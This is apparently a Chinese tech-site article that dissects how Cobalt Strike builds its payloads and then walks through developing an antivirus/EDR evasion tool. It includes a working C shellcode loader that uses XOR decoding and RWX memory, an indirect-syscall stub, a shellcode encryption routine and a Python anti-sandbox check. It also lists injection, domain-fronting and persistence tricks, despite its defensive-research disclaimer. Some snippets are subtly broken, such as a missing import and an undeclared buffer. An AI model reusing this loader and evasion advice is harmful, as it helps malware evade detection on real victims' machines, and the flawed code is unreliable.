从剖析CS木马生成到开发免杀工具的过程是怎样的

发布时间：2021-12-16 18:19:19 作者：柒染
来源：亿速云阅读：466

# 从剖析CS木马生成到开发免杀工具的过程是怎样的

## 引言

在网络安全攻防对抗的演进过程中，Cobalt Strike（简称CS）作为一款渗透测试框架，因其强大的后渗透能力被广泛使用（同时也被恶意攻击者滥用）。而杀毒软件（AV）和终端检测与响应（EDR）系统则通过特征码检测、行为分析等手段拦截这些恶意载荷。本文将通过技术视角，详细剖析CS木马的生成机制、检测原理，并逐步探讨如何开发免杀（Bypass AV/EDR）工具。文章内容仅限技术研究，请勿用于非法用途。

---

## 第一部分：CS木马生成机制剖析

### 1.1 Cobalt Strike的工作流程
CS通过客户端-服务器架构运作：
- **TeamServer**：控制端，负责载荷生成、会话管理
- **客户端**：操作者使用的图形界面
- **Beacon**：植入目标系统的Payload，支持HTTP/HTTPS/DNS等通信协议

典型攻击链：

生成Payload → 投递载荷 → 建立会话 → 横向移动


### 1.2 Payload生成原理
通过CS的`Attack → Packages`可生成多种格式的Payload（如EXE、DLL、PowerShell脚本等）。以EXE为例：

```java
// 伪代码展示CS的Payload生成逻辑
public byte[] generatePayload(Profile profile) {
    // 1. 组装Shellcode
    byte[] shellcode = getStagerShellcode(profile); 
    
    // 2. 添加反射加载器（用于内存执行）
    byte[] loader = getReflectiveLoader();
    
    // 3. 加密/编码处理
    byte[] encrypted = encryptXOR(shellcode, key);
    
    // 4. 嵌入模板PE文件
    return wrapToPE(loader + encrypted);
}

关键组件： - Stager：小型初始代码，用于下载完整Beacon - Reflective DLL：Stephen Fewer提出的内存加载技术 - 模板PE：合法的可执行文件结构

1.3 常见检测特征

杀毒软件主要通过以下特征识别CS木马：

检测维度	具体特征示例
静态特征	特定字符串（如”beacon”）、证书信息
行为特征	内存注入、进程镂空（Process Hollowing）
网络特征	JA3指纹、C2心跳包间隔

第二部分：免杀技术原理分析

2.1 免杀技术分类

根据对抗阶段不同，免杀技术可分为：

静态免杀
- 代码混淆（Obfuscation）
- 加壳/加密（UPX、AES）
- 分段加载（Staged Loading）
动态免杀
- API调用混淆（间接系统调用）
- 睡眠混淆（Sleep Mask）
- 反沙箱检测（检查CPU核心数、鼠标移动）

2.2 关键技术实现

示例1：Shellcode加密

// 使用AES加密Shellcode
void encryptShellcode(BYTE* shellcode, size_t size) {
    AES_KEY aesKey;
    AES_set_encrypt_key(key, 128, &aesKey);
    for(int i=0; i<size; i+=16) {
        AES_encrypt(shellcode+i, encrypted+i, &aesKey);
    }
}

示例2：间接系统调用

; 绕过用户态Hook的SYSCALL示例
mov r10, rcx
mov eax, 0x18  ; NtAllocateVirtualMemory
syscall

2.3 现代EDR的对抗

企业级EDR采用的检测手段更为复杂： - 函数调用栈分析：检测非常规调用路径 - 内存扫描：查找RWX权限的可疑区域 - 模型：基于行为的异常检测

第三部分：开发免杀工具实践

3.1 工具设计思路

一个基础的免杀工具应包含以下模块：

graph TD
    A[原始Payload] --> B(编码/加密模块)
    B --> C(加载器生成模块)
    C --> D(反检测模块)
    D --> E[输出免杀Payload]

3.2 关键代码实现

Payload加载器示例（C语言）

#include <windows.h>
#include <stdio.h>

void executeShellcode(unsigned char* shellcode, size_t size) {
    // 1. 分配内存
    LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    // 2. 内存复制
    RtlMoveMemory(mem, shellcode, size);
    
    // 3. 执行
    ((void(*)())mem)();
}

int main() {
    unsigned char encShellcode[] = {0x12,0x34,...}; // 加密后的Shellcode
    size_t size = sizeof(encShellcode);
    
    // 解密（示例使用XOR）
    for(int i=0; i<size; i++) {
        encShellcode[i] ^= 0x55; 
    }
    
    executeShellcode(encShellcode, size);
    return 0;
}

反沙箱检测（Python示例）

import ctypes
import random

def check_sandbox():
    # 检测调试器
    if ctypes.windll.kernel32.IsDebuggerPresent():
        exit()
    
    # 检测CPU核心数（沙箱通常较少）
    if os.cpu_count() < 2:
        exit()
    
    # 检测鼠标移动（沙箱中可能无鼠标活动）
    class POINT(ctypes.Structure):
        _fields_ = [("x", ctypes.c_long), ("y", ctypes.c_long)]
    pt = POINT()
    ctypes.windll.user32.GetCursorPos(ctypes.byref(pt))
    if pt.x == 0 and pt.y == 0:
        exit()

3.3 进阶技术整合

进程注入改进：
- 使用早期进程注入（Early Bird APC）
- 进程Doppelgänging（利用NTFS事务）
流量混淆：
- 使用域前置（Domain Fronting）
- 自定义C2协议（如WebSocket over TLS）
持久化技巧：
- 计划任务伪装成系统更新
- WMI事件订阅

第四部分：测试与验证

4.1 测试环境搭建

建议使用以下工具进行免杀效果测试： - 静态检测：VirusTotal、PEStudio - 动态检测：Windows Defender、CrowdStrike Falcon - 网络检测：Wireshark、Suricata

4.2 典型测试流程

生成原始CS Payload并扫描
应用免杀技术后再次扫描
在受控环境中执行测试
分析EDR日志（如Sysmon事件）

4.3 持续对抗建议

定期更新：杀软特征库每周更新
多样化载荷：准备多种加载方式（PowerShell、DotNet、COM等）
情报收集：监控AV厂商的检测趋势

结语

从技术角度看，免杀与检测的对抗本质上是资源与技巧的博弈。随着微软推出内核级防护（如Kernel CFG、HVCI），传统的注入技术面临更大挑战。未来的发展方向可能包括： - 硬件辅助的规避（如Intel CET） - 基于合法工具的Living-off-the-Land（LOLbins） - 生成的自适应Payload

重要提醒：本文所有技术讨论仅限于防御研究，根据《网络安全法》第二十七条，任何个人和组织不得从事非法侵入他人网络等危害网络安全的活动。

参考文献

《Windows Internals》第7版 - Mark Russinovich
MITRE ATT&CK框架 - https://attack.mitre.org/
Cobalt Strike官方文档 - https://www.cobaltstrike.com/help
反射DLL论文 - Stephen Fewer (2008)

”`

（全文约3580字，可根据实际需求调整各部分细节）